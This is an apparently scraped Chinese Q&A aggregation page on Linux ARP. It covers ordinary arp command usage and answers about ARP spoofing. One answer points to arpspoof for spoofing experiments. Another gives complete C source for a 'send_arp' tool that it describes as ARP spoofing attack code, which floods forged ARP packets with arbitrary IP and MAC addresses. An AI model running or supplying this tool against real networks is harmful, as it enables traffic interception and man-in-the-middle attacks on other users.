導航:首頁 > 編程語言 > linuxarp編程

linuxarp編程

發布時間:2022-07-22 19:40:08

㈠ 如何給linux給ARP表添加條目

Liunx添加ARP表方式如下:
[功能]
管理系統的arp緩存。

[描述]
用來管理系統的arp緩存,常用的命令包括:
arp: 顯示所有的表項。
arp -d address: 刪除一個arp表項。
arp -s address hw_addr: 設置一個arp表項。

常用參數:
-a 使用bsd形式輸出。(沒有固定的列)
-n 使用數字形式顯示ip地址,而不是默認的主機名形式。
-D 不是指定硬體地址而是指定一個網路介面的名稱,表項將使用相應介面的MAC地址。一般用來設置ARP代理。
-H type, --hw-type type: 指定檢查特定類型的表項,默認type為ether,還有其他類型。
-i If, --device If: 指定設置哪個網路介面上面的arp表項。
-f filename: 作用同'-s',不過它通過文件來指定IP地址和MAC地址的綁定。文件中每行分別是主機和MAC,中間以空格分割。如果沒有指定文件名稱,則使用/etc/ethers文件。

以下例子中,用主機名稱的地方也可以用點分10進制的ip地址來表示。另外輸出結果中用"C"表示ARP緩存內容,"M"表示永久性表項,"P"表示公共的表項。

[舉例]
*查看arp表:
#arp
Address HWtype HWaddress FlagsMask Iface
hostname1 ether 44:37:e6:97:92:16 C eth0
hostname2 ether 00:0f:fe:43:28:c5 C eth0
hostname3 ether 00:1d:92:e3:d5:ee C eth0
hostname4 ether 00:1d:0f:11:f2:a5 C eth0
這里,Flags中的"C"代表此表項目是高速緩存中的內容,高速緩存中的內容過一段時間(一般20分鍾)會清空,而"M"則表示靜態表項,靜態表項的內容不會過一段時間被清空。

*查看arp表,並且用ip顯示而不是主機名稱:
# arp -n
Address HWtype HWaddress FlagsMask Iface
10.1.10.254 ether 00:1d:92:e3:d5:ee C eth0
10.1.10.253 ether 44:37:e6:9b:2c:53 C eth0
10.1.10.178 ether 00:1b:78:83:d9:85 C eth0
10.1.10.119 ether 00:1d:0f:11:f2:a5 C eth0
這里,對於上面的條目,假設當我們"ping 10.1.10.1"通過之後,arp中會多一條"10.1.10.1"相關的信息。

*查看arp表,顯示主機名稱和ip:
#arp -a
ns.amazon.esdl.others.com (10.1.10.254) at00:1d:92:e3:d5:ee [ether] on eth0
server.amazon.eadl.others.com (10.1.10.253) at44:37:e6:9b:2c:53 [ether] on eth0
D2-jh.amazon.esdl.others.com (10.1.10.178) at00:1b:78:83:d9:85 [ether] on eth0
aplab.local (10.1.10.119) at 00:1d:0f:11:f2:a5[ether] on eth0

*添加一對IP和MAC地址的綁定:
# arp -s 10.1.1.1 00:11:22:33:44:55:66
這里,如果網路無法達到,那麼會報告錯誤,具體如下:
root@quietheart:/home/lv-k# arp -s 10.1.1.100:11:22:33:44:55:66
SIOCSARP: Network is unreachable
root@quietheart:/home/lv-k# arp -n
Address HWtype HWaddress FlagsMask Iface
10.1.10.254 ether 00:1d:92:e3:d5:ee C eth0
10.1.10.253 ether 44:37:e6:9b:2c:53 C eth0
10.1.10.178 ether 00:1b:78:83:d9:85 C eth0
10.1.10.119 ether 00:1d:0f:11:f2:a5 C eth0
實際上,如果"arp -s"設置成功之後,會增加一個Flags為"CM"的表項,有些系統靜態條目不會因為ARP響應而更新,而高速緩存中的條目會因此而更新。如果想要手工設置沒有"M",那麼用"temp"選項,例如:"arp -s IP MAC temp"類似的命令,實踐發現,如果已經設置過IP了,那麼再設置也不會改變其Flags。

*刪除一個arp表項:
# arp -d 10.1.10.118
這里,刪除之後只是硬體地址沒有了,如下:
root@quietheart:~# arp -n
Address HWtype HWaddress FlagsMask Iface
10.1.10.118 ether 00:25:9c:c2:79:90 CM eth0
10.1.10.254 ether 00:1d:92:e3:d5:ee C eth0
root@quietheart:~# arp -d 10.1.10.118
root@quietheart:~# arp -n
Address HWtype HWaddress FlagsMask Iface
10.1.10.118 (incomplete) eth0
10.1.10.254 ether 00:1d:92:e3:d5:ee C

*刪除eth0上面的一個arp表項:
# arp -i eth0 -d 10.1.10.118

[其它]
*指定回復的MAC地址:
#/usr/sbin/arp -i eth0 -Ds 10.0.0.2 eth1 pub
當eth0收到IP地址為10.0.0.2的請求時,將會用eth1的MAC地址回答。
例如,雙網卡機器運行這條命令:
/usr/sbin/arp -i eth0 -Ds 10.0.0.2 eth1 pub
會多一項:
10.0.0.2 * MP eth0

㈡ 如何在linux下進行arp欺騙攻擊實驗

arpspoof,有這個就可以了 你可以下載它的源碼包看,開源的,用的是libnet,libpcap庫,屬於dsniff包中的一個組成部分

㈢ Linux C編程, 如何仿造ip、mac地址發送報文呢 是利用ARP協議漏洞嗎有沒有源代碼借鑒下~~

一個arp欺騙攻擊的代碼如下:
/*
This program sends out ARP packet(s) with source/target IP
and Ethernet hardware addresses supplied by the user.
*/

#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <signal.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/ip_icmp.h>
#include <linux/if_ether.h>

#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"
char usage[] = {"send_arp: sends out custom ARP packet. \n"
"usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};

struct arp_packet
{
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};

void die (char *);
void get_ip_addr (struct in_addr *, char *);
void get_hw_addr (char *, char *);

int main (int argc, char * argv[])
{
struct in_addr src_in_addr, targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;
if (argc != 6)
die(usage);

sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock < 0)
{
perror("socket");
exit(1);
}

number = atoi(argv[5]);

pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op = htons(OP_ARP_QUEST);
get_hw_addr(pkt.targ_hw_addr, argv[4]);
get_hw_addr(pkt.rcpt_hw_addr, argv[4]);
get_hw_addr(pkt.src_hw_addr, argv[2]);
get_hw_addr(pkt.sndr_hw_addr, argv[2]);
get_ip_addr(&src_in_addr, argv[1]);
get_ip_addr(&targ_in_addr, argv[3]);
memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data, DEFAULT_DEVICE);
for (j = 0; j < number; j++)
{
if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}
}
exit(0);
}

void die (char *str)
{
fprintf(stderr,"%s\n",str);
exit(1);
}

void get_ip_addr(struct in_addr *in_addr, char *str)
{
struct hostent *hostp;
in_addr->s_addr = inet_addr(str);
if(in_addr->s_addr == -1)
{
if ((hostp = gethostbyname(str)))
b(hostp->h_addr, in_addr, hostp->h_length);
else {
fprintf(stderr, "send_arp: unknown host %s\n", str);
exit(1);
}
}
}

void get_hw_addr (char *buf, char *str)
{
int i;
char c, val;
for(i = 0; i < ETH_HW_ADDR_LEN; i++)
{
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf = val << 4;
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf++ |= val;
if (*str == ':')
str++;
}
}

㈣ 如何在我的linux查看我的arp表格

在linux中查看arp地址解析協議需要使用終端命令。

以Deepin linux為例,使用終端命令查看arp步驟如下所示:

1、在程序列表中點擊打開終端命令程序。


㈤ 在linux下怎麼實現ARP欺騙

arpspoof,有這個就可以了

你可以下載它的源碼包看,開源的,用的是libnet,libpcap庫,屬於dsniff包中的一個組成部分

㈥ linux下怎麼編寫程序,防止本機對外arp攻擊

iptables 應該直接就可以實現這功能
你要能看懂iptables源碼的話

在我看來是大神級別了

話說 網路初始化時 會發ARP廣播

你把本機對外的ARP包 禁了 估計 你就不能上網了

閱讀全文

與linuxarp編程相關的資料

熱點內容
程序員理發店生意怎麼樣 瀏覽:601
程序員羅技 瀏覽:180
軟考初級程序員課程2021下載 瀏覽:487
杭州程序員奶奶 瀏覽:878
不聽命令造成錯誤 瀏覽:979
kool系統源碼 瀏覽:608
流氓app在哪裡看 瀏覽:98
域名購買了怎麼指向伺服器 瀏覽:121
安卓手機如何讓照片顏色反轉 瀏覽:859
怎麼下載卓睿安手機版 瀏覽:514
h3crange命令 瀏覽:468
php前景和python 瀏覽:338
php壓縮圖片內存大小 瀏覽:495
在哪裡可以查看雲伺服器的信息 瀏覽:70
python讀取非txt文件 瀏覽:799
艾莫迅用什麼編程軟體好 瀏覽:227
android文件存儲讀取 瀏覽:214
php基礎教程第5版 瀏覽:543
伺服器裡面怎麼刷東西 瀏覽:194
榮耀手機如何快速把app切換頁面 瀏覽:798